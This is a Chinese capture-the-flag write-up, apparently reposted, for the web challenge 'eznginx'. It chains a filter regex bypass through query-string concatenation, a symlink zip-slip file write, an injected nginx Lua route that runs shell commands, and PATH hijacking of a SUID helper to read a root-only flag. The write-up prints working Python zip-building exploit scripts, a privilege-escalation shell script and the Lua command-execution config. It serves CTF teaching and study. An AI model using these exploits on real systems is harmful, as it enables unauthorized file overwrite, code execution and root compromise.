ccb决赛webwp–eznginx

admin 2026-05-18 06:03:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了CCB决赛Web题目eznginx的解题思路。通过分析Filter与Controller路径解析差异绕过正则限制,利用软链接覆盖nginx配置文件实现恶意Lua代码注入,结合PATH环境变量劫持SUID程序完成提权,最终通过自定义路由读取flag。整个过程涉及Java代码审计、文件上传漏洞利用和系统权限提升技巧。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,红队,内网渗透


cover_image

ccb决赛web wp–eznginx

赛查查

2026年5月15日 10:07 北京

在小说阅读器读本章

去阅读

以下文章来源于m0v0n ,作者moon

m0v0n

eznginx

先审计一波jar包

先看入口类,这里有一个文件上传接口

直接访问显示被正则表达式阻止

利用Filter和Controller对路径解析逻辑之间的差异绕过正则

分析一个Filter类中正则的逻辑

过滤器限制了/api/v2/preview/开头的请求

如果不匹配 /api/v2/preview/,则通过;如果匹配,则检查 URL 和 Query 参数是否符合 authPattern 正则表达式。

我们来找一下这个authPattern正则表达式

authPattern通过ChallengeProperties类从配置文件中读取

可以发现这个正则表达式匹配的是download接口,但没有限制upload上传接口,所以我们只需要构造一个以download结尾,同时访问的是upload的路径就可以绕过了

过滤器中这个匹配方法会将URL和查询参数拼接的一块

并且正则表达式中.*?是非贪婪匹配

auth-pattern: "^/api/v2/preview/[A-Za-z]+.*?/download$"

所以我们可以利用这一特性去构造一个带有查询参数的请求

/api/v2/preview/admin/sync/upload?path=/anything/download

这里getRequestURI() = /api/v2/preview/admin/sync/upload

getQueryString() = path=/anything/download

拼接之后正则表达式中的.*?会匹配到admin/sync/upload?path=/anything/这一长串

这样我们就绕过正则表达式的限制

之后我们的请求被放行后,它进入了 Spring 的 DispatcherServlet。Spring 在处理请求映射(Mapping)时,逻辑与 Filter 截然不同,spring mvc会忽略查询参数,只看URL,最终/api/v2/preview/admin/sync/upload会被保留下来,从而走到了upload接口中

软链接覆盖

审计一下解压逻辑的类

发现支持unix符号链接

再看writeSymlink

在 writeSymlink 中,代码读取了压缩包内符号链接的目标 symlinkTarget,并直接使用 Paths.get(symlinkTarget) 创建了一个符号链接。它并没有检查这个 symlinkTarget 是否越过了 extractRoot!

我们利用给的dockerfile自己搭建一个环境,进到容器进行测试

既然我们可以通过软链接进行文件写入,那我们现在就需要去找那些地方是我们能写的

我们的用户是appuser,可以看到ez-dynamic.conf这个文件是我们可以覆盖的

里面是一个指向lua配置的路由

不难想到,我们可以通过覆写将ez-dynamic.conf改写成我们想要的恶意配置,从而达到命令执行

提权思路

但是,我们现在是appuser用户,flag需要root用户才能读取,所以我们需要提权

在给定的文件夹中,我们看到一个可以利用的suid文件

注意看这里

execvp(argv[0], argv);

这里用的是execvp,而不是execv

  • execv需要绝对路径
  • execvp 会去 PATH 环境变量里找可执行文件

程序会调用service-check status这个命令,并且service-check没有写绝对路径

我们可以通过PATH劫持将程序执行的路径改为一个我们可控的路径

有一点我们需要注意一下,解压缩上传上来的文件是没有执行权限的,所以我们无法通过覆写service-check去进行命令执行

但是我们可以通过软链接将service-check 指向/bin/sh,上传一个名为status的脚本文件,将这两个文件写入到同一个我们可控的文件夹中,之后执行ops-helper,就会执行service-check status ,也就是/bin/sh status,从而执行我们上传上去的脚本文件

并且ops-helper是SUID root,程序执行后提权也就完成了。

思路明确了,我们开始实践

验证

写入脚本

/tmp/ez-nginx/imports这个目录是我们可以控制的,Java程序创建的子文件夹需要root权限,所以我们需要将脚本写入到imports这个文件夹下

利用脚本制作一个带有两个恶意软链接的压缩包

import zipfile
import os

slink1_info = zipfile.ZipInfo("slink")
slink1_info.external_attr = 0o120000 << 16
slink1_target = b"/"

file_path_in_zip = "slink/tmp/ez-nginx/imports/status"
file_info = zipfile.ZipInfo(file_path_in_zip)
file_info.external_attr = 0o100644 << 16
with open("status", "rb") as f:
&nbsp; &nbsp; file_content = f.read()

file2_path = "slink/tmp/ez-nginx/imports/service-check"
file2_info = zipfile.ZipInfo(file2_path)
file2_info.external_attr = 0o120000 << 16
file2_target = b"/bin/sh"

with zipfile.ZipFile("exploit.zip", "w") as zf:
&nbsp; &nbsp; zf.writestr(slink1_info, slink1_target)
&nbsp; &nbsp; zf.writestr(file_info, file_content)
&nbsp; &nbsp; zf.writestr(file2_info, file2_target)

print("exploit.zip created successfully!")

准备恶意脚本status

#/bin/sh
sudo cat /flag.txt > /tmp/ez-nginx/imports/flag.txt
sudo chmod 677 /tmp/ez-nginx/imports/flag.txt

执行py脚本,上传压缩包

成功上传,我们到容器中验证一下

成功写入

覆写ez-dynamic.conf

准备一个同名的恶意配置文件,写入恶意的lua配置

location = /exp {
&nbsp; &nbsp; content_by_lua_block {
&nbsp; &nbsp; &nbsp; &nbsp; local shell = require("resty.shell")
&nbsp; &nbsp; &nbsp; &nbsp; local cmd = "cd /tmp/ez-nginx/imports&&export PATH=/tmp/ez-nginx/imports/:$PATH&&/usr/local/bin/ops-helper"

&nbsp; &nbsp; &nbsp; &nbsp; local ok, stdout, stderr, reason, status = shell.run(cmd, "", 10000, 65535)

&nbsp; &nbsp; &nbsp; &nbsp; if not ok then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("<pre>")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("执行失败,原因: ", reason)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if reason == "exit" then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("退出码: ", status)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("标准错误 (stderr):\n", stderr or "(空)")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elseif reason == "timeout" then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("命令执行超时")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("其他错误: ", reason)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ngx.say("</pre>")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; end
        local f = io.open("/tmp/ez-nginx/imports/flag.txt","r")
        ngx.say(f:read("*a"))

&nbsp; &nbsp; &nbsp; &nbsp; ngx.say("<pre>执行成功\n", stdout, "</pre>")
&nbsp; &nbsp; }
}

这个配置会将PATH设置成我们的可控文件夹,并执行SUID程序,从而执行我们的恶意脚本,将flag读取出来

通过软链接进行覆写

import zipfile
import os

slink_info = zipfile.ZipInfo("slink")
slink_info.external_attr = 0o120000 << 16
slink_target = b"/"

file_path_in_zip = "slink/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf"
file_info = zipfile.ZipInfo(file_path_in_zip)
file_info.external_attr = 0o100644 << 16
with open("ez-dynamic.conf", "rb") as f:
&nbsp; &nbsp; file_content = f.read()

with zipfile.ZipFile("exploit.zip", "w") as zf:
&nbsp; &nbsp; zf.writestr(slink_info, slink_target)
&nbsp; &nbsp; zf.writestr(file_info, file_content)

print("exploit.zip created successfully!")

执行并上传

覆写成功

覆写后,我们的配置需要重启nginx才能使用,我们需要找到如何去重启nginx

重载配置

在之前的配置文件中我没用可以看到一个重载的脚本

现在我们只需要分析这个脚本是怎么被调用的就可以了

发现这个方法会去执行这个重载脚本,继续寻找那个调用了refresh方法

发现在accept方法中会调用这个方法,也就是说我们每次上传成功都会重载我们的nginx配置。

所以我们只需要上传一个普通的压缩包就可以了

上传成功

读取flag

访问我们配置的恶意路由

下载了一个exp文件,打开

成功读取flag


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《ccb决赛web wp–eznginx》

评论:0   参与:  0